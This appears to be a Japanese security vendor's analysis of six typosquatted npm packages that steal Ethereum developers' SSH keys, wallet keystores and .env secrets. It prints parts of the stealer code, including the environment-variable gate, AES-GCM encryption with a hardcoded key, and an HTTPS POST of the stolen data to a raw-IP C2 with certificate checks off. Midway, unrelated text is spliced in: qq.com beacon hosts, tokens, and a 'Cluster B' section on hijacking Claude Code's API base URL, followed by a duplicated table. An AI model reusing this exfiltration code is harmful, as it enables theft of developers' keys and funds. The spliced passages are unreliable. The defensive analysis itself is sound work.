EVMDeFiのnpmタイポスクワッティング攻撃により開発者キーが盗まれる

EVM/DeFi npmのタイポスクワッティング攻撃により開発者キーが盗まれる

TL; DR

2026年5月6日、単一のnpmパブリッシャー、 namikazesarada010206イーサリアム、ソリディティ、およびDeFi開発者エコシステムを標的とした6つの悪意のあるパッケージを配布した。

パッケージ、 viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utils, web3-utils-core人気のあるWeb3ツール用のヘルパーライブラリのように見えるように設計された、もっともらしい名前が使用されました。

6つのパッケージすべてに同じものが入っていた telemetry.js ファイル。このファイルはクラスター全体でバイト単位で同一であり、SHA-256ハッシュ値は以下のとおりです。

SHA-256 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1

マルウェアはインストール時に実行されません。 preinstall or postinstall フック。代わりに、パッケージがインポートされたときにアクティブになります。 require().

その点は重要だ。

インプラントは、開発者が実際にパッケージを使用するまで待機します。その後、ワークステーションが実際のイーサリアム/ソリディティ開発環境のように見えるかどうかを確認します。AlchemyまたはInfuraのキー、秘密鍵、ニーモニック、デプロイヤーキー、またはローカルのFoundryディレクトリを探します。

ホストが一致すると、窃盗犯は SSH 秘密鍵、Foundry / Geth / Brownie ウォレットキーストアを収集します。 .env* ファイルや機密性の高い環境変数などが含まれます。ハードコードされたパスフレーズを使用してAES-256-GCMでバンドルを暗号化し、TLS検証が無効になっている生のIPv4 C2エンドポイントに送信します。

Xygeniのマルウェア早期警告(MEW)システムは、6つのパッケージすべてを悪意のあるものとして確認しました。npmレジストリ削除レポートバンドルは現在処理中です。

クラスター:6つのパッケージ、1つの出版社

出版社アカウント namikazesarada010206 未確認のGmailアドレスに関連付けられていました namikazesarada010206@gmail.com.

このキャンペーンは、2026年5月6日に1日限りの出版物として登場しました。6つのパッケージすべてがバージョン化され、 1.0.0実行時依存関係はゼロで、出荷されるファイルはわずか3つだった。

package.json index.js telemetry.js

彼らはまた、同じソースリポジトリを宣言した。

https://github.com/harunosakura030303-maker/evmchain-config

最初の 3 つのパッケージは、最初の公開時に MEW スキャナーによって検出されました。残りの 3 つのパッケージは、発行者の npm プロファイルのアナリストによるレビュー後に強制的にフラグ付けされました。同じバイトが同一である場合、 telemetry.js クラスター全体で確認されたため、一貫性に基づいて悪意のあるものとしてクローズされました。

パッケージ npm 公開済み MEWチケット 評決
viem-core 1.0.0 2026-05-06 01:38:44Z #51049 悪意のある
viem-utils-core 1.0.0 2026-05-06 #51050 悪意のある
hardhat-c​​ore-utils 1.0.0 2026-05-06 #51051 悪意のある
evm-utils 1.0.0 2026-05-06 #51069 一貫して悪意がある
ファウンドリーユーティリティ 1.0.0 2026-05-06 #51071 一貫して悪意がある
web3-utils-core 1.0.0 2026-05-06 #51070 一貫して悪意がある

ネーミング戦略はシンプルだが効果的だ。

これらのパッケージは、正確な上流の名前を模倣しません。代わりに、次のようなもっともらしい「ユーティリティ」接尾辞を使用します。 -core, -utils, -utils-coreそれによって、それらは開発者がWeb3ツールの近くで見かけることを期待するような、補助ライブラリのように見える。

悪意のあるパッケージ 正当なターゲット
viem-core viem、人気のイーサリアムTypeScriptクライアント
viem-utils-core ベトナム
hardhat-c​​ore-utils hardhatは、主流のSolidity開発環境です。
evm-utils 汎用EVMツールネームスペース
ファウンドリーユーティリティ ファウンドリー、Solidityツールチェーン
web3-utils-core web3-utils、Web3.jsヘルパー

これは「補助パッケージ」のパターンです。「私が主役だ」のではなく、「私は主役を支える、まともな補助者のように見える」というものです。

急速に開発を進めるDeFi開発者にとって、それはリスクを生み出すのに十分な理由となる。

荷物が輸入されるとどうなるのか

攻撃の連鎖は小規模で、計画的であり、暗号開発環境を標的としている。

取り付けフックはありません。代わりに、各パッケージには index.js これはスタブ機能をエクスポートし、その後悪意のあるテレメトリモジュールをロードします。

require('./telemetry').init();

これは、マルウェアが初回インポート時に起動することを意味します。

これは攻撃者にとって運用上有利です。多くのスキャナーやサンドボックスはインストール時の動作に焦点を当てていますが、このパッケージは開発者、ビルドスクリプト、テストスイート、またはランタイムパスによって実際に使用されるまで待機します。

アクティベーションゲート:実際のWeb3開発者ワークステーションでのみ起動可能

インプラントの中で最も重要な部分は、活性化ゲートです。

このマルウェアは、イーサリアム/ソリディティ開発者のマシンでよく見られる環境変数をチェックします。

const indicators = [   process.env.ALCHEMY_API_KEY,   process.env.INFURA_KEY,   process.env.PRIVATE_KEY,   process.env.MNEMONIC,   process.env.DEPLOYER_KEY, ].filter(Boolean);

また、Foundryがインストールされているかどうかも確認します。

fs.existsSync(path.join(os.homedir(), '.foundry'))

どちらの条件も満たされない場合、関数は何もせずに戻り値を返して終了します。

これにより、一般的な解析環境ではパッケージの動作がより静かになります。Foundry、Alchemyキー、Infuraキー、秘密鍵、ニーモニックのないサンドボックスでは、一見無害なインポートが表示される可能性があります。

一致するホスト上で、マルウェアは収集を開始する前に60~90秒間待機します。

setTimeout(() => { try { _collect(); } catch {} },           60000 + Math.random() * 30000).unref();

遅延により、輸入と流出の間の明らかな相関関係が減少する。 .unref() この呼び出しにより、パッケージが短時間しか実行されないスクリプトでインポートされた場合、ホストプロセスが正常に終了することも可能になります。

これは、騒々しくデータを盗み出すような行為ではありません。開発者環境からデータを盗む価値がある場合にのみ実行されるように設計された、標的を絞った窃盗プログラムです。

窃盗犯が収集するもの

アクティベーションゲートを通過すると、マルウェアはWeb3開発において最も重要なソース、すなわち秘密鍵、ウォレットキーストア、デプロイメント認証情報、クラウドシークレット、npmトークン、ローカルプロジェクト構成などを収集します。

ソース 収集されるもの
プロセス.env /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i に一致する変数
~/.ssh/* PRIVATE KEY または BEGIN OPENSSH を含むファイル(ファイルの内容全体を含む)
~/.foundry/keystores/* Foundryウォレットのキーストアファイル
~/.ethereum/keystore/* Gethウォレットのキーストアファイル
~/.brownie/accounts/* Brownieウォレットのキーストアファイル
${cwd}/.env ファイルの内容全体
${cwd}/.env.local ファイルの内容全体
${cwd}/.env.production ファイルの内容全体
${cwd}/.env.development ファイルの内容全体
os.hostname() ホストメタデータ
crypto.randomUUID() 被害者/セッション識別子
Date.now() 収集タイムスタンプ
otheve.beacon.qq.com oth.str.beacon.qq.com h.trace.qq.com

ATTAトークンは以下のとおりです。

ATTA_ID 00400014144 ATTA_TOKEN 6478159937

テレメトリデータが事業者独自の分析データなのか、それとも別途収益化されているチャネルなのかは確認できていません。調査した両方のサンプルにおいて、ATTAトークンは同じものでした。

クラスターB:ヘイバイ

claude.hk OAuthフィッシング + ANTHROPIC_BASE_URLハイジャック

4月1日のサンプルは、キャンペーンの初期段階における、より粗雑な調査結果である。

heibai:2.1.88-claude.hk-4 によって公開されました wuguoqiangvip282025年6月7日に作成されたアカウント。パッケージは正規のバージョンに対して明示的にバージョン管理されています。 2.1.88 人為的放出。

CA証明書の中間者攻撃(MITM)には対応せず、代わりにOAuthエンドポイントについてユーザーに虚偽の説明をする。

流出したClaude Codeのソースコードに追加された悪意のある要素は以下のとおりです。

ソース 収集されるもの
プロセス.env /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i に一致する変数
~/.ssh/* PRIVATE KEY または BEGIN OPENSSH を含むファイル(ファイルの内容全体を含む)
~/.foundry/keystores/* Foundryウォレットのキーストアファイル
~/.ethereum/keystore/* Gethウォレットのキーストアファイル
~/.brownie/accounts/* Brownieウォレットのキーストアファイル
${cwd}/.env ファイルの内容全体
${cwd}/.env.local ファイルの内容全体
${cwd}/.env.production ファイルの内容全体
${cwd}/.env.development ファイルの内容全体
os.hostname() ホストメタデータ
crypto.randomUUID() 被害者/セッション識別子
Date.now() 収集タイムスタンプ

標的リストは非常に限定的です。これは一般的なブラウザ窃盗や広範な認証情報スクレイピングではありません。イーサリアムアプリケーションの構築、テスト、デプロイ、または運用を行う開発者を対象としています。

Foundry、Geth、Brownieのキーストアが含まれていることは特に重要です。これらのファイルは、ウォレットやデプロイメントIDへの直接アクセスを表す可能性があります。攻撃者がこれらのファイルとパスワード、ニーモニック、環境シークレットを組み合わせることができれば、資金の移動、デプロイヤーのなりすまし、スマートコントラクトの操作の侵害などが可能になる場合があります。

データの流出前に暗号化を行う

このマルウェアは、収集したデータを送信前に暗号化します。

const key = crypto.createHash('sha256').update(K).digest(); const iv = crypto.randomBytes(12); const cipher = crypto.createCipheriv('aes-256-gcm', key, iv);

ハードコードされたパスフレーズは次のとおりです。

a]3Fk9$mP2xL7vQ8nR4wJ6yB0tH5cE1d

最終的なペイロードはJSON形式でラップされます。

{"v":2,"iv":"<base64>","d":"<base64-ciphertext>","t":"<base64-gcm-tag>"}

暗号化はそれ自体でマルウェアを高度化させるわけではありません。しかし、ネットワーク検査を困難にします。送信を監視している防御側は JSON ペイロードは確認できますが、盗まれた鍵、ウォレット ファイル、または .env ハードコードされたパスフレーズや復号ロジックを含まないコンテンツ。

生の IPv4 C2 へのデータ漏洩

流出経路はハードコードされています。

const req = https.request({   hostname: '76.13.37.80', port: 8443,   path: '/api/v1/telemetry', method: 'POST',   headers: { 'Content-Type': 'application/json', ... },   rejectUnauthorized: false, timeout: 8000, }, () => {});

マルウェアはデータを以下の宛先に送信します。

https://76.13.37.80:8443/api/v1/telemetry

二つの点が際立っている。

まず、C2サーバーはドメインではなく、生のIPv4アドレスです。これにより、ドメイン登録が不要になり、ドメインベースの検出の一部を回避できます。

第二に、TLS検証は以下のように無効になります。

rejectUnauthorized: false

これにより、マルウェアは自己署名証明書を含むあらゆる証明書を受け入れることができる。つまり、攻撃者は有効な公開証明書を必要とせずに暗号化された通信を実現できる。

再試行ロジックもフォールバックホストもありません。エラーは黙って無視されます。これにより、C2サーバーがオフラインまたはアクセス不能の場合でも、パケットは静かに処理されます。

このキャンペーンが重要な理由

開発者を標的とした悪意のある npm パッケージのほとんどは、npm トークン、AWS キー、GitHub トークンなどの広範な認証情報を狙っています。 .npmrc ファイル。

このキャンペーンは対象を絞り込むものだ。

マシンがイーサリアムまたはソリディティ開発者に属している兆候を探します。次に、その環境で重要なアセット、つまりウォレットキーストア、秘密鍵、ニーモニック、デプロイヤキー、 .env ファイル、およびSSHキー。

そのため、このキャンペーンは一般的なnpmスティーラーよりもWeb3チームにとって危険なものとなっている。

感染が成功した場合、以下のようなリスクが生じる可能性があります。

  • デプロイメントウォレット
  • スマートコントラクト管理者キー
  • RPCプロバイダーキー
  • クラウド展開の認証情報
  • npm 発行トークン
  • 開発者または構築インフラストラクチャへのSSHアクセス
  • プロジェクトの秘密は .env ファイル
  • Foundry、Geth、またはBrownie用のウォレットキーストア

パッケージ名からも明らかなように、ソーシャルエンジニアリングの手法が用いられている。馴染みのあるツール名を用いることで、Web3開発者のエコシステムを標的にしているのだ。 viem, hardhat, foundry, evm, web3.

俳優は実際のプロジェクトに妥協する必要はありません。必要なのは、妥当な付属パッケージと思われるものをインストールしてくれる開発者だけです。

侵害および検出の指標

パッケージと発行者
フィールド
npm publisher namikazesarada010206
発行者メール namikazesarada010206@gmail.com
メール認証済み いいえ
SCM 認証済 いいえ
レピュテーションスコア 1.0
エクストラ viem-core、viem-utils-core、hardhat-c​​ore-utils、evm-utils、foundry-utils、web3-utils-core
バージョン すべて1.0.0
ソースリポジトリ https://github.com/harunosakura030303-maker/evmchain-config
悪意のある行為が確認されました 全6パッケージ
ネットワーク
タイプ
C2エンドポイント https://76.13.37.80:8443/api/v1/telemetry
C2 IP 76.13.37.80
C2ポート 8443/tcp
TLSの動作 拒否認証: false
ペイロードスキーマ {"v":2,"iv": ,"d": ,"t": }
ファイルとハッシュ
タイプ
telemetry.js SHA-256 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1
パッケージレイアウト package.json、index.js、telemetry.js
ファイル数 3
おおよその全体サイズ 3.4 KB

活性化シグナル

このマルウェアは、以下の環境変数をチェックします。

ALCHEMY_API_KEY INFURA_KEY PRIVATE_KEY MNEMONIC DEPLOYER_KEY

また、以下の項目もチェックします。

~/.foundry/

対象ホストパス

~/.ssh/* ~/.foundry/keystores/* ~/.ethereum/keystore/* ~/.brownie/accounts/* ${cwd}/.env ${cwd}/.env.local ${cwd}/.env.production ${cwd}/.env.development

コレクション正規表現

/TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i

検出メモ

いくつかのルールによって、詳細な行動分析を行うことなく、このキャンペーンを捕捉できる。

まず、ロックファイルをスキャンして、以下の6つの悪意のあるパッケージ名を特定します。

viem-core viem-utils-core hardhat-core-utils evm-utils foundry-utils web3-utils-core

マッチ package-lock.json, yarn.lock, pnpm-lock.yamlまたは node_modules 歴史は重大な出来事として扱われるべきである。

次に、ウォレットキーストアのパスを読み取るNode.jsプロセスを監視します。

~/.foundry/keystores/ ~/.ethereum/keystore/ ~/.brownie/accounts/

これは、ヘルパー依存関係としてインポートされたパッケージにとって、正当な動作であることはほとんどありません。特に、その後にアウトバウンドネットワークアクティビティが発生する場合は、非常に疑わしいです。

第三に、HTTPS接続をブロックまたは警告する:

76.13.37.80:8443

特にリクエストパスが次のようになっている場合:

/api/v1/telemetry

第四に、以下の特徴を兼ね備えたnpmパッケージを探します。

  • 新進気鋭または評判の低い出版社
  • 未認証のGmailアカウント
  • Web3関連のパッケージ名
  • 意味のあるリポジトリ履歴はありません
  • 小型パッケージレイアウト
  • index.js テレメトリファイルまたはヘルパーファイルを読み込む
  • 実行時依存関係なし
  • 敏感な環境変数の収集
  • ウォレットキーストアへのアクセス

このパターンは、単一のIOCよりも有用です。なぜなら、次のパケットではIPアドレスが変更されても、同じターゲティングロジックが維持される可能性があるからです。

妥協対応チェックリスト

開発者が6つのパッケージのうちいずれかを使用し、その環境がアクティベーションゲートと一致していた場合、そのワークステーションは侵害されたものとして扱う。

これには、Foundryがインストールされているマシン、環境内のAlchemyまたはInfuraのキー、秘密鍵、ニーモニック、またはデプロイヤーキーが含まれます。

推奨される回答:

  • ホストをネットワークから切断してください。
  • 保存する node_modulesロックファイル、シェル履歴、およびフォレンジック調査に関連するログ。
  • すべてのSSHキーペアをローテーションします ~/.ssh/.
  • ウォレットキーをキーストアごとにローテーションします ~/.foundry, ~/.ethereum, ~/.brownie.
  • 資金を新しいウォレットに移してください。
  • 保存されているすべての秘密をローテーションします .env* 開発者が作業していたリポジトリ内のファイル。
  • AWS キー、npm トークン、デプロイ トークン、API キー、秘密鍵、シード、ニーモニックなど、コレクションの正規表現に一致する環境シークレットをローテーションします。
  • パッケージが最初にインストールされて以降の、クラウド、npm、GitHub、RPCプロバイダー、およびブロックチェーンのアクティビティを監査します。
  • 再利用する前にワークステーションのイメージを再構築してください。

擁護者が学ぶべきこと

このキャンペーンは、npmのタイポスクワッティングが、価値の高い開発者エコシステムを中心にどのように進化しているかを示している。

攻撃者は永続性を必要としなかった。難読化も必要としなかった。インストール時の実行さえ必要としなかった。

その代わりに、彼らは次の3つのことに頼った。

  • 妥当なWeb3パッケージ名
  • 実際の暗号開発マシンでのみ有効化可能
  • イーサリアム開発者にとって最も重要なファイルと秘密情報の直接的な窃盗

そのため、このキャンペーンは広範囲な調査では見落とされやすく、適切な環境で展開されると危険なものとなる。

Web3チームにとって、教訓は明確だ。依存関係名を脅威モデルの一部として扱うべきだ。一見無害なヘルパーパッケージに見えるものでも、ウォレット侵害への最短経路になり得るのだ。

npmレジストリに報告しました。発行元アカウントとパッケージが削除され次第、この記事を更新します。

sca-tools-ソフトウェア構成分析ツール
ソフトウェアのリスクを優先順位付けし、修復し、保護する
無料アカウントを作成しましょう。
いいえ、クレジットカードは必要ありません。

ソフトウェア開発と納品を安全に

Xygeni製品スイートと共に